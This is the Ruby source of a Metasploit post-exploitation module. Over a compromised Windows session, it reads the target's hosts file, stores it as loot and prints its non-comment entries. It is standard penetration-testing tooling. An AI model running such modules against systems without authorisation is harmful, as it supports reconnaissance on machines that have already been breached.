## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Windows Host File Enumeration', 'Description' => %q{ This module returns a list of entries in the target system's hosts file. }, 'License' => BSD_LICENSE, 'Author' => [ 'vt '], 'Version' => '$Revision$', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] )) end def run # read in the hosts in the hosts file. fd = session.fs.file.new("C:\\WINDOWS\\System32\\drivers\\etc\\hosts", "rb") # Load up the original hosts file buf = '' until fd.eof? buf << fd.read end # Finished loading the hosts file, close fd fd.close # Store the original hosts file p = store_loot( 'hosts.confige', 'text/plain', session, buf, 'hosts_file.txt', 'Windows Hosts File' ) # Split lines lines = buf.split("\n") # Print out each line that doesn't start w/ a comment entries = [] lines.each do |line| next if line =~ /^[\r|\n|#]/ entries << line end # Show results if not entries.empty? print_line("Found entries:") entries.each do |e| print_good(e.to_s) end end print_status("Hosts file saved: #{p.to_s}") end end